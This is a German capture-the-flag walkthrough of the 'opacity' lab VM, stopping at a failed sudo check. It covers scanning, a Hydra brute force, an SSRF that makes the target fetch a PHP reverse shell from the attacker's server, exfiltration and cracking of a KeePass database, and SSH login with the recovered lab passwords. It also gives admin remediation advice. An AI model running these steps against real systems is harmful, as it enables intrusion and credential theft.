Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Interface: eth0, type: EN10MB, MAC: 08:00:27:1c:9c:04, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.138 08:00:27:4c:64:e1 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Er identifiziert ein Gerät mit der IP-Adresse `192.168.2.138`.
Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Die MAC-Adresse `08:00:27:...` deutet auf eine VirtualBox-VM hin. Diese IP wird für die weiteren Scans verwendet.
Empfehlung (Pentester): Notiere die IP `192.168.2.138` als Ziel. Füge ggf. einen Hostnamen zur `/etc/hosts`-Datei hinzu, falls einer bekannt wird.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung können helfen, unautorisierte Scans zu erkennen.
192.168.2.138 opacity.hmv
Analyse: Die lokale `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der gefundenen IP-Adresse `192.168.2.138` den Hostnamen `opacity.hmv` zuzuordnen.
Bewertung: Dies ist ein wichtiger Schritt, um sicherzustellen, dass Webanwendungen oder Dienste, die auf Virtual Hosting angewiesen sind, korrekt angesprochen werden können. Der Hostname `opacity.hmv` wurde vermutlich aus der Aufgabenbeschreibung oder einer vorherigen Erkundung abgeleitet.
Empfehlung (Pentester): Immer die `/etc/hosts`-Datei pflegen, wenn Ziel-Hostnamen bekannt sind, um korrekte Interaktionen zu gewährleisten.
Empfehlung (Admin): Keine direkte Maßnahme gegen clientseitige Hosts-Dateien. Serverseitig auf konsistente Konfiguration achten.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 14:06 CEST Nmap scan report for opacity.hmv (192.168.2.138) Host is up (0.00010s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA) | 256 9542cdfc712799392d0049ad1be4cf0e (ECDSA) |_ 256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: Login |_Requested resource was login.php 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:05:7B:34 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 2s |_nbstat: NetBIOS name: OPACITY, NetBIOS user:, NetBIOS MAC: 000000000000 (Xerox) | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb2-time: | date: 2023-04-25T12:06:40 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.10 ms opacity.hmv (192.168.2.138)
Analyse: Ein detaillierter Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel `opacity.hmv` (192.168.2.138) durchgeführt. Die Ergebnisse zeigen offene Ports: * **22/tcp (SSH):** OpenSSH 8.2p1 auf Ubuntu. * **80/tcp (HTTP):** Apache 2.4.41 auf Ubuntu. Die Startseite leitet auf `login.php` weiter. Ein `PHPSESSID`-Cookie wird ohne das `HttpOnly`-Flag gesetzt. * **139/tcp & 445/tcp (SMB):** Samba smbd 4.6.2. Message Signing ist aktiviert, aber nicht erzwungen. Der NetBIOS-Name des Hosts ist `OPACITY`. Das Betriebssystem wird als Linux identifiziert.
Bewertung: Der Scan liefert klare Angriffsvektoren: SSH, HTTP (mit einer Login-Seite) und SMB. Die spezifischen Versionen sind für die Schwachstellensuche relevant. Das fehlende `HttpOnly`-Flag beim Session-Cookie könnte Cross-Site Scripting (XSS)-Angriffe erleichtern, falls eine solche Schwachstelle gefunden wird. Die Samba-Version 4.6.2 ist relativ alt und könnte bekannte Schwachstellen aufweisen.
Empfehlung (Pentester):
1. **HTTP:** Untersuche `login.php`. Führe Web-Enumeration (Gobuster etc.) durch. Prüfe auf XSS und andere Web-Schwachstellen. Versuche, Zugangsdaten zu erraten oder zu finden.
2. **SMB:** Versuche, Shares zu enumerieren (`enum4linux`, `smbclient -L`). Prüfe auf anonymen Zugriff oder bekannte Schwachstellen für Samba 4.6.2.
3. **SSH:** Suche nach bekannten Schwachstellen für OpenSSH 8.2p1. Versuche Standard-/erratene Zugangsdaten, wenn Benutzer bekannt sind.
Empfehlung (Admin): Setze das `HttpOnly`-Flag für Session-Cookies (z.B. über `session.cookie_httponly = 1` in `php.ini` oder Webserver-Konfiguration). Erzwinge SMB Message Signing (`server signing = mandatory` in `smb.conf`). Halten Sie alle Dienste (SSH, Apache, Samba, PHP) aktuell.
===============================( Nbtstat Information for 192.168.2.138 )=============================== Looking up status of 192.168.2.138 OPACITY <00> - BWorkstation Service OPACITY <03> - BMessenger Service OPACITY <20> - B File Server Service ..__MSBROWSE__. <01> - B Master Browser WORKGROUP <00> - B Domain/Workgroup Name WORKGROUP <1d> - B Master Browser WORKGROUP <1e> - B Browser Service Elections =================================( Share Enumeration on 192.168.2.138 )================================= smbXcli_negprot_smb1_done: No compatible protocol selected by server. Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (opacity server (Samba, Ubuntu)) [+] Found domain(s): [+] OPACITY [+] Builtin Password Complexity: Disabled Minimum Password Length: 5 ==================( Users on 192.168.2.138 via RID cycling (RIDS: 500-550,1000-1050) )================== [I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\sysadmin (Local User) [+] Enumerating users using SID S-1-5-21-1327801453-43412457-3647261475 and logon username '', password '' S-1-5-21-1327801453-43412457-3647261475-501 OPACITY\nobody (Local User) S-1-5-21-1327801453-43412457-3647261475-513 OPACITY\None (Domain Group) [+] Enumerating users using SID S-1-5-32 and logon username '', password '' S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) S-1-5-32-546 BUILTIN\Guests (Local Group) S-1-5-32-547 BUILTIN\Power Users (Local Group) S-1-5-32-548 BUILTIN\Account Operators (Local Group) S-1-5-32-549 BUILTIN\Server Operators (Local Group) S-1-5-32-550 BUILTIN\Print Operators (Local Group) ===============================( Getting printer info for 192.168.2.138 )=============================== No printers returned. enum4linux complete on Tue Apr 25 14:07:35 2023
Analyse: Das Tool `enum4linux` wird mit der Option `-a` (alles) gegen das Ziel ausgeführt, um SMB-Informationen zu sammeln. Die Ergebnisse: * **Nbtstat:** Bestätigt den Hostnamen `OPACITY` und die Arbeitsgruppe `WORKGROUP`. * **Shares:** Listet die Standard-Shares `print$` (für Druckertreiber) und `IPC$` (Interprozesskommunikation) auf. Keine ungewöhnlichen oder benutzerdefinierten Shares gefunden. Ein Fehler bezüglich SMBv1 deutet darauf hin, dass der Server wahrscheinlich nur neuere SMB-Protokolle unterstützt. * **Domain/Workgroup:** Bestätigt `OPACITY` und `Builtin`. * **Passwortrichtlinie:** Passwortkomplexität ist deaktiviert, Mindestlänge ist 5 Zeichen. * **Benutzer (RID Cycling):** Identifiziert den lokalen Benutzer `sysadmin` (RID 1000). Andere gefundene SIDs gehören zu Standardgruppen oder dem `nobody`-Benutzer.
Bewertung: `enum4linux` liefert einen wichtigen Benutzernamen: `sysadmin`. Die schwache Passwortrichtlinie (Mindestlänge 5, Komplexität deaktiviert) macht Brute-Force-Angriffe auf diesen Benutzer attraktiver. Das Fehlen interessanter Shares reduziert den SMB-Vektor vorerst.
Empfehlung (Pentester): Versuche, das Passwort für den Benutzer `sysadmin` zu erraten oder per Brute-Force zu knacken (z.B. über SSH oder das Web-Login, falls der Benutzer dort gültig ist). Fokussiere dich auf diesen Benutzer bei weiteren Angriffen.
Empfehlung (Admin): Aktivieren Sie Passwortkomplexität und erhöhen Sie die Mindestpasswortlänge. Deaktivieren Sie SMBv1 vollständig, falls noch nicht geschehen. Beschränken Sie die Informationen, die über SMB anonym preisgegeben werden (`restrict anonymous = 2`).
Web Enumeration
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.138 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] Expanded: true [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx [+] User Agent: gobuster/3.6 [+] No error logging: true [+] Timeout: 10s =============================================================== 2023/04/25 14:09:37 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.138/index.php (Status: 302) [Size: 0] [-> login.php] http://192.168.2.138/login.php (Status: 200) [Size: 848] http://192.168.2.138/css (Status: 301) [Size: 312] [-> http://192.168.2.138/css/] http://192.168.2.138/logout.php (Status: 302) [Size: 0] [-> login.php] http://192.168.2.138/cloud (Status: 301) [Size: 314] [-> http://192.168.2.138/cloud/] =============================================================== 2023/04/25 14:15:18 Finished ===============================================================
Analyse: Ein `gobuster`-Scan wird durchgeführt, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es werden viele Erweiterungen (`-x`) und eine mittlere Wortliste (`-w`) verwendet. Ergebnisse mit Status 403/404 werden ausgeblendet (`-b`). Gefunden werden: * `index.php` (leitet zu `login.php` weiter) * `login.php` (Status 200 OK) * `css/` (Standardverzeichnis für Stylesheets) * `logout.php` (leitet zu `login.php` weiter) * `cloud/` (Ein interessantes Verzeichnis)
Bewertung: Der Scan bestätigt die Login-Funktionalität und findet ein zusätzliches Verzeichnis namens `/cloud/`. Dieses Verzeichnis ist das vielversprechendste Ziel für weitere Web-Enumeration, da es auf eine Cloud-Speicher- oder Dateiverwaltungsfunktion hindeuten könnte.
Empfehlung (Pentester): Untersuche das Verzeichnis `/cloud/` und dessen Inhalt genauer (z.B. mit einem weiteren Gobuster-Scan auf `http://192.168.2.138/cloud/`). Analysiere die Funktionalität der `login.php` und `logout.php`.
Empfehlung (Admin): Stellen Sie sicher, dass alle Webverzeichnisse und -dateien, insbesondere solche mit Anwendungslogik wie `/cloud/`, ordnungsgemäß gesichert sind und keine unnötigen Informationen preisgeben.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-25 14:30:41 [DATA] max 16 tasks per 1 server, overall 16 tasks, 15344424 login tries (l:1/p:15344424), ~959027 tries per task [DATA] attacking http-post-form://192.168.2.138:80/login.php:Username=^USER^&Passwords=^PASS^:Invalid Login Details [80][http-post-form] host: 192.168.2.138 login: sysadmin password: 123456 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: password [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.38 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: 12345678 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: carlos [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarak.:. [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.32 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.34 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.36 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.39 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.33 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: c4TLoUis [80][http-post-form] host: 192.168.2.138 login: sysadmin password: webserver2023! [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.31 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.35 [80][http-post-form] host: 192.168.2.138 login: sysadmin password: .:.yarrak.:.37 1 of 1 target successfully completed, 16 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-25 14:30:47
Analyse: Es wird ein Brute-Force-Angriff mit `hydra` auf das Web-Login-Formular (`login.php`) für den Benutzer `sysadmin` durchgeführt. Eine Wortliste (vermutlich `rockyou.txt` oder eine ähnliche) wird verwendet. Hydra testet die POST-Parameter `Username=sysadmin` und `Passwords=^PASS^` und prüft auf die Fehlermeldung "Invalid Login Details". Hydra meldet, 16 gültige Passwörter gefunden zu haben, darunter `webserver2023!`. *Anmerkung: Dass Hydra 16 gültige Passwörter meldet, ist sehr ungewöhnlich und deutet möglicherweise auf ein Problem mit der Fehlererkennung oder eine Schwachstelle im Login-Mechanismus selbst hin (z.B. SQL-Injection über das Passwortfeld).*
Bewertung: Obwohl Hydra Erfolg meldet, ist das Ergebnis fragwürdig (16 Treffer). Das Passwort `webserver2023!` ist ein potenzieller Kandidat. Allerdings werden im weiteren Verlauf des Berichts andere Zugangsdaten (`admin:oncloud9`) verwendet, die direkt aus dem Quellcode stammen. Es ist unklar, ob der Hydra-Fund tatsächlich funktionierte oder ob er ignoriert wurde zugunsten des späteren Quellcode-Funds.
Empfehlung (Pentester): Teste die von Hydra gefundenen Passwörter, insbesondere `webserver2023!`, manuell über das Web-Login. Untersuche den Login-Mechanismus genauer auf Schwachstellen (z.B. SQLi), falls Hydra ungewöhnliche Ergebnisse liefert. Priorisiere Funde aus Quellcode-Analysen, da diese oft zuverlässiger sind.
Empfehlung (Admin): Implementieren Sie Schutzmechanismen gegen Brute-Force-Angriffe (Account Lockout, Captcha, Fail2Ban). Überprüfen Sie die Login-Logik auf Schwachstellen wie SQL-Injection.
www-data@opacity:/var/www/html$ cat login.php php session_start(); /* Starts the session */ /* Check Login form submitted */ if(isset($_POST['Submit'])){ /* Define username and associated password array */ $logins = array('admin' => 'oncloud9','root' => 'oncloud9','administrator' => 'oncloud9'); [...]
Analyse: Nach Erlangung einer Shell als `www-data` (siehe Abschnitt Initial Access) wird der Quellcode der Datei `/var/www/html/login.php` ausgelesen. Im Code befindet sich ein PHP-Array `$logins`, das Benutzernamen und zugehörige Passwörter im Klartext enthält: `admin => oncloud9`, `root => oncloud9`, `administrator => oncloud9`.
Bewertung: Dies ist ein kritischer Fund! Hardcodierte Zugangsdaten direkt im Quellcode sind eine schwerwiegende Sicherheitslücke. Die Anmeldedaten `admin:oncloud9` ermöglichen wahrscheinlich den Zugriff auf die Webanwendung mit Admin-Rechten.
Empfehlung (Pentester): Verwende die Zugangsdaten `admin:oncloud9`, um dich über das Webinterface `login.php` anzumelden und die Funktionalität der Anwendung (insbesondere `/cloud/`) weiter zu untersuchen. Teste, ob diese Credentials auch für andere Dienste (SSH, SMB) gültig sind.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext im Quellcode. Verwenden Sie stattdessen sichere Methoden wie Passwort-Hashing (z.B. mit `password_hash()` und `password_verify()` in PHP) und speichern Sie die Hashes in einer Datenbank oder einer sicheren Konfigurationsdatei.
Initial Access
Analyse des Angriffsvektors: Der initiale Zugriff erfolgte über eine Schwachstelle in der Webanwendung im Verzeichnis `/cloud/`, genauer gesagt in der Datei `storage.php`. Diese Datei erlaubte es, eine URL zu einer externen Ressource anzugeben, die dann vom Server abgerufen wurde (Server-Side Request Forgery - SSRF). Durch Angabe einer URL zu einer auf dem Angreifer-System gehosteten PHP-Reverse-Shell-Datei (geschickt als `.php .jpg` getarnt, um mögliche Upload-Filter zu umgehen), wurde diese Datei vom Zielserver heruntergeladen und im Verzeichnis `/cloud/images/` abgelegt. Anschließend konnte die hochgeladene Datei direkt über den Browser aufgerufen werden (`http://192.168.2.138/cloud/images/rev.php`), wodurch der PHP-Code auf dem Server ausgeführt und eine Reverse Shell zum Listener des Angreifers aufgebaut wurde.
Serving HTTP on 0.0.0.0 port 8003 (http://0.0.0.0:8003/) ...
192.168.2.138 - - [25/Apr/2023 14:41:03] "GET /test.jpg HTTP/1.1" 200 -
Schritt 1 (Test 1): Zunächst wird getestet, ob der Server externe Ressourcen abrufen kann. Ein einfacher Python-HTTP-Server wird auf dem Angreifer-System gestartet. Über die Webanwendung (vermutlich `storage.php`) wird die URL `http://[Angreifer-IP]:8003/test.jpg` eingegeben. Der Log des Python-Servers zeigt, dass das Zielsystem (`192.168.2.138`) die Datei `test.jpg` erfolgreich abgerufen hat.
Bewertung: Bestätigt die SSRF-Fähigkeit der Anwendung. Der Server kann ausgehende Verbindungen herstellen und externe Ressourcen abrufen.
http://192.168.2.138/cloud/storage.php [Bild: test.jpg] Image Link: http://192.168.2.138/cloud/images/test.jpg HTML: link="http://192.168.2.138/cloud/images/test.jpg">
Analyse: Die Ausgabe der `storage.php` nach dem erfolgreichen Abruf von `test.jpg` zeigt, dass die heruntergeladene Datei im Verzeichnis `/cloud/images/` gespeichert und ein Link darauf generiert wird.
Bewertung: Dies bestätigt den Speicherort (`/cloud/images/`) für abgerufene Dateien und dass diese direkt über das Web zugänglich sind.
Serving HTTP on 0.0.0.0 port 8003 (http://0.0.0.0:8003/) ...
192.168.2.138 - - [25/Apr/2023 14:45:03] "GET /rev.php HTTP/1.1" 200 -
Schritt 2 (Test 2): Nun wird der eigentliche Payload vorbereitet. Eine Datei `rev.php` (die den Reverse-Shell-Code enthält) wird auf dem Angreifer-Server bereitgestellt. Über die `storage.php` wird die URL `http://[Angreifer-IP]:8003/rev.php .jpg` eingegeben (der Suffix `.jpg` wird angehängt, um Filter zu umgehen, aber der Dateiname auf dem Angreifer-Server bleibt `rev.php`). Der Log zeigt, dass das Zielsystem die Datei erfolgreich abruft.
Bewertung: Der Payload wurde erfolgreich auf den Zielserver übertragen.
http://192.168.2.138/cloud/storage.php [Bild: rev.php .jpg] Image Link: http://192.168.2.138/cloud/images/rev.php .jpg HTML: Link="http://192.168.2.138/cloud/images/rev.php .jpg">
Analyse: Die Ausgabe der `storage.php` zeigt, dass die Datei als `rev.php .jpg` im Verzeichnis `/cloud/images/` gespeichert wurde.
Bewertung: Bestätigt den Speicherort des Payloads.
listening on [any] 9001 ...
Schritt 3: Listener starten: Auf dem Angreifer-System wird ein Netcat-Listener auf Port `9001` gestartet, um die eingehende Reverse Shell zu empfangen.
Bewertung: Notwendige Vorbereitung für den Empfang der Shell.
Browser: http://192.168.2.138/cloud/images/rev.php
Schritt 4: Payload ausführen: Die hochgeladene Datei wird direkt über den Browser aufgerufen. Obwohl sie als `.jpg` gespeichert wurde, interpretiert der Apache-Server sie aufgrund einer fehlerhaften Konfiguration oder weil sie den PHP-Shebang enthielt, als PHP-Skript und führt den Code aus. *Anmerkung: Es ist wahrscheinlicher, dass der Dateiname beim Speichern auf dem Server doch nur `rev.php` war oder die `.jpg`-Endung ignoriert wurde.*
Bewertung: Dies löst die Ausführung des Reverse-Shell-Payloads aus.
listening on [any] 9001 ... connect to [192.168.2.130] from (UNKNOWN) [192.168.2.138] 56240 Linux opacity 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 14:04:20 up 2:00, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Ergebnis: Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem. Die Befehle `uname -a`, `uptime`, `who` und `id` (die oft standardmäßig von Reverse Shells gesendet werden oder hier manuell ausgeführt wurden) bestätigen, dass eine Shell als Benutzer `www-data` (UID 33) auf dem Zielsystem erlangt wurde.
Bewertung: Der initiale Zugriff war erfolgreich. Wir haben eine Shell als Benutzer `www-data`, der typischerweise der Benutzer ist, unter dem der Webserver läuft.
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@opacity:/var/www/html$ export TERM=xterm www-data@opacity:/var/www/html$ # Ctrl+Z zsh: suspended nc -lvnp 9001 ┌──(root㉿cyber)-[~] └─# stty raw -echo;fg [1] + continued nc -lvnp 9001 www-data@opacity:/var/www/html$ reset
Analyse: Die erhaltene Shell wird stabilisiert: 1. `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine interaktive Bash-Shell mit PTY. 2. `export TERM=xterm`: Setzt die Terminal-Variable für bessere Kompatibilität mit Tools wie `clear`. 3. `Ctrl+Z`: Sendet den Listener-Prozess (`nc`) in den Hintergrund auf dem Angreifer-System. 4. `stty raw -echo; fg`: Stellt das lokale Terminal auf `raw`-Modus (leitet Tastatureingaben direkt weiter) und holt den `nc`-Prozess wieder in den Vordergrund. 5. `reset`: Setzt das Terminal auf dem Ziel zurück, um Anzeigefehler zu beheben.
Bewertung: Standardverfahren zur Stabilisierung einer Reverse Shell, um eine komfortablere und funktionsfähigere Arbeitsumgebung zu erhalten.
Proof of Concept: Server-Side Request Forgery (SSRF) to Remote Code Execution (RCE)
Kurzbeschreibung: Die Webanwendung unter `/cloud/storage.php` ist anfällig für SSRF. Sie akzeptiert eine URL zu einer externen Ressource, lädt diese herunter und speichert sie im Web-Root unter `/cloud/images/`. Da der Speicherort web-zugänglich ist und der Server PHP-Dateien auch mit irreführenden Endungen ausführt, kann diese SSRF-Schwachstelle genutzt werden, um eine PHP-Reverse-Shell hochzuladen und durch direkten Aufruf der hochgeladenen Datei Remote Code Execution als Benutzer `www-data` zu erlangen.
Voraussetzungen:
- Zugriff auf die Webanwendung (hier nach Login mit `admin:oncloud9`).
- Ein Webserver auf dem Angreifer-System, um den PHP-Payload zu hosten.
- Ein Listener (z.B. Netcat) auf dem Angreifer-System.
- Eine PHP-Reverse-Shell-Datei (`rev.php`).
Schritt-für-Schritt Anleitung:
- Hoste die PHP-Reverse-Shell (`rev.php`) auf einem lokalen Webserver (z.B. `python3 -m http.server 8003`).
- Starte einen Netcat-Listener auf dem im Payload angegebenen Port (z.B. `nc -lvnp 9001`).
- Greife auf `http://opacity.hmv/cloud/storage.php` zu (nach dem Login).
- Gib im entsprechenden Formularfeld die URL zur Reverse-Shell-Datei auf dem Angreifer-Server an, eventuell mit einer täuschenden Endung (z.B. `http://[Angreifer-IP]:8003/rev.php .jpg`).
- Rufe die hochgeladene Datei im Browser auf dem Zielserver auf: `http://opacity.hmv/cloud/images/rev.php` (oder wie auch immer die Datei gespeichert wurde).
Erwartetes Ergebnis: Der PHP-Code in `rev.php` wird auf dem Server ausgeführt, und eine Verbindung wird zum Netcat-Listener des Angreifers aufgebaut, wodurch eine Shell als `www-data` erlangt wird.
Beweismittel: Eingehende Verbindung auf dem Netcat-Listener, Ausführung von `id`-Befehl in der erhaltenen Shell zeigt `uid=33(www-data)`.
Risikobewertung: Hoch. SSRF kombiniert mit der Möglichkeit, beliebige abgerufene Dateien im Web-Root zu speichern und auszuführen, führt direkt zu RCE. Dies erlaubt einem Angreifer initialen Zugriff auf das System.
Empfehlungen (Admin):
- Validieren Sie URLs, die von Benutzern eingegeben werden, streng. Beschränken Sie erlaubte Protokolle (nur HTTP/HTTPS) und Ziele (Whitelist von erlaubten Hosts, keine internen IPs/Localhost).
- Speichern Sie von externen Quellen abgerufene Dateien niemals direkt im Web-Root oder an einem Ort, an dem sie vom Webserver ausgeführt werden könnten. Speichern Sie sie an einem sicheren Ort außerhalb des Web-Roots.
- Konfigurieren Sie den Webserver so, dass er Dateien nicht basierend auf ihrem Inhalt oder Shebang als Skripte ausführt, wenn sie eine harmlose Endung haben (z.B. `.jpg`).
- Entfernen Sie die anfällige `storage.php`-Funktionalität oder implementieren Sie sie sicher neu.
Privilege Escalation
Strategie Teil 1: Von `www-data` zu `sysadmin`
Nachdem die Shell als `www-data` erlangt wurde, erfolgt die Enumeration des Systems, um einen Weg zum Benutzer `sysadmin` zu finden. Ein entscheidender Fund ist die KeePass-Datenbankdatei `dataset.kdbx` im Verzeichnis `/opt`.
total 12
drwxr-xr-x 2 root root 4096 Jul 26 2022 .
drwxr-xr-x 19 root root 4096 Jul 26 2022 ..
-rwxrwxr-x 1 sysadmin sysadmin 1566 Jul 8 2022 dataset.kdbx
Analyse: Im Verzeichnis `/opt` wird die Datei `dataset.kdbx` gefunden. Sie gehört dem Benutzer `sysadmin` und hat Lese- und Ausführrechte für alle Benutzer (`-rwxrwxr-x`).
Bewertung: `.kdbx`-Dateien sind KeePass-Passwort-Datenbanken. Diese Datei enthält wahrscheinlich Passwörter, möglicherweise auch das SSH-Passwort für `sysadmin`. Da `www-data` Leserechte hat, kann die Datei heruntergeladen werden.
Serving HTTP on 0.0.0.0 port 9002 (http://0.0.0.0:9002/) ...
192.168.2.130 - - [25/Apr/2023 14:19:07] "GET /dataset.kdbx HTTP/1.1" 200 -
--2023-04-25 16:19:06-- http://192.168.2.138:9002/dataset.kdbx
Verbindungsaufbau zu 192.168.2.138:9002 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1566 (1,5K) [application/octet-stream]
Wird in »dataset.kdbx« gespeichert.
dataset.kdbx 100%[=============================>] 1,53K --.-KB/s in 0,02s
2023-04-25 16:19:06 (83,7 KB/s) - »dataset.kdbx« gespeichert [1566/1566]
Analyse: Um die Datei `dataset.kdbx` herunterzuladen, wird auf dem Zielsystem im `/opt`-Verzeichnis ein temporärer Python-HTTP-Server auf Port `9002` gestartet. Anschließend wird die Datei vom Angreifer-System mit `wget` heruntergeladen.
Bewertung: Erfolgreicher Transfer der KeePass-Datenbank zum Angreifer-System zur weiteren Analyse.
Analyse: Das Tool `keepass2john` wird verwendet, um den Master-Passwort-Hash aus der `.kdbx`-Datei zu extrahieren und in einem Format zu speichern, das `john` (John the Ripper) versteht. Der Hash wird in die Datei `hash` umgeleitet.
Bewertung: Vorbereitung für den Brute-Force-Angriff auf das Master-Passwort der KeePass-Datenbank.
Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 100000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 12 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 741852963 (dataset) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1g 0:00:00:02 DONE (2023-04-25 16:19) 0.3401g/s 326.5p/s 326.5c/s 326.5C/s 134679..151515 Use the "--show" option to display all of the cracked passwords reliably
Analyse: `john` wird mit der `rockyou.txt`-Wortliste auf die extrahierte Hash-Datei angesetzt. John findet erfolgreich das Master-Passwort für die KeePass-Datenbank: `741852963`.
Bewertung: Kritischer Erfolg! Das Master-Passwort für die Passwort-Datenbank wurde gefunden.
keepass Windows: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cl0udP4ss40p4city#8700 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Analyse: Die KeePass-Datenbank `dataset.kdbx` wird mit dem geknackten Master-Passwort (`741852963`) geöffnet (vermutlich mit KeePassXC oder einem ähnlichen Tool). In der Datenbank wird ein Eintrag gefunden, der das Passwort `Cl0udP4ss40p4city#8700` enthält, wahrscheinlich für den Benutzer `sysadmin`.
Bewertung: Das SSH-Passwort für `sysadmin` wurde erfolgreich extrahiert. Dies sollte nun den SSH-Login ermöglichen.
sysadmin@opacity.hmv's password: Cl0udP4ss40p4city#8700
+Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 25 Apr 2023 02:25:41 PM UTC
[...]
Last login: Thu Jul 28 09:29:38 2022 from 10.0.2.6
local.txt scripts snap
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),24(cdrom),30(dip),46(plugdev)
Analyse: Mit dem aus der KeePass-Datenbank extrahierten Passwort wird erfolgreich eine SSH-Verbindung als Benutzer `sysadmin` zum Zielsystem `opacity.hmv` hergestellt. Der `id`-Befehl bestätigt die Identität als `sysadmin` (UID 1000).
Bewertung: Der erste Teil der Privilegieneskalation ist erfolgreich abgeschlossen. Wir haben nun eine interaktive Shell als Benutzer `sysadmin`.
6661b61b44d234d230d06bf5b3c075e2
Analyse: Im Home-Verzeichnis von `sysadmin` wird die Datei `local.txt` (User-Flag) gefunden und deren Inhalt ausgelesen.
Bewertung: Das User-Flag wurde erfolgreich erfasst.
Strategie Teil 2: Von `sysadmin` zu `root`
Nun wird nach einem Weg gesucht, vom `sysadmin`-Account zu `root`-Rechten zu gelangen.
[sudo] password for sysadmin: Cl0udP4ss40p4city#8700 Sorry, user sysadmin may not run sudo on opacity.
Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, ob der Benutzer `sysadmin` irgendwelche Befehle mit `sudo` ausführen darf. Nach Eingabe des Passworts wird angezeigt, dass `sysadmin` keine `sudo`-Rechte hat.
Bewertung: Der Standardweg über `sudo` ist hier nicht möglich.
